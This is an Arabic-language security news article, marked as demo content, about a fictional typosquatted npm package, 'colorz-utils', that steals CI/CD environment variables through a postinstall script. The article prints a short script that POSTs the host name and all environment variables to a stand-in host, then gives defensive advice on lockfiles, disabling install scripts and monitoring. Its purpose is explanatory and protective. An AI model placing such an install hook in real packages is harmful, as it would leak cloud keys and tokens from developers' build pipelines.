سيبرانا
أمن التطبيقاتخبرمتوسطةمحتوى تجريبي

حزمة خبيثة تنتحل اسم مكتبة شائعة في npm تسرق متغيرات البيئة من خطوط النشر

الحزمة الخيالية «colorz-utils» تختلف بحرف واحد عن مكتبة مشهورة، وتنفّذ سكربتًا عند التثبيت يرسل متغيرات البيئة إلى خادم خارجي. حُذفت بعد 36 ساعة و1,200 عملية تنزيل.

نُشر
حُدّث:
دقيقة واحدة قراءة
مشاركة:XLinkedInFacebookTelegramWhatsApp
رسم توضيحي مجرد لسلسلة حزم برمجية
رسم توضيحي — سيبرانا (محتوى تجريبي)

حُذفت من سجل npm حزمة خبيثة باسم colorz-utils (اسم خيالي لهذا العرض) بعد أن اكتشف باحثون أنها تنفّذ سكربت postinstall يجمع متغيرات البيئة ويرسلها إلى خادم خارجي. الحزمة استهدفت المطورين الذين يخطئون في كتابة اسم مكتبة شائعة، وحققت نحو 1,200 عملية تنزيل خلال 36 ساعة.

ما الذي يسرقه السكربت؟

متغيرات البيئة في خطوط النشر (CI/CD) كنز حقيقي: مفاتيح سحابية، رموز وصول إلى المستودعات، وبيانات اعتماد قواعد البيانات. سكربت بضعة أسطر كافٍ:

postinstall.js
// postinstall.js — مبسّط لأغراض الشرح
const https = require('https')
const data = JSON.stringify({ h: require('os').hostname(), e: process.env })
const req = https.request({ host: 'metrics.example.net', path: '/v1/i', method: 'POST' })
req.on('error', () => {})
req.end(data)

كيف تحمي خطوط النشر؟

  • ثبّت الاعتماديات بملف قفل وبالأمر npm ci بدلًا من npm install في بيئات النشر.
  • عطّل سكربتات دورة الحياة في البيئات الآلية: npm ci --ignore-scripts ثم شغّل ما تحتاجه صراحةً.
  • امنح خطوط النشر أقل صلاحيات ممكنة وبرموز قصيرة العمر بدلًا من مفاتيح دائمة.
  • راقب حركة الشبكة الصادرة من بيئات البناء؛ لا ينبغي لخطوة تثبيت أن تتصل بنطاقات غير معروفة.
مشاركة:XLinkedInFacebookTelegramWhatsApp
سارة القاسمي

عن الكاتب

سارة القاسمي

محررة — أمن السحابة والتطبيقات

ملف تعريفي تجريبي لأغراض العرض. تهتم «سارة» بأمن السحابة، سلسلة التوريد البرمجية، وأمن الذكاء الاصطناعي.

  • أمن السحابة
  • سلسلة التوريد
  • أمن الذكاء الاصطناعي
كل مقالات سارة القاسمي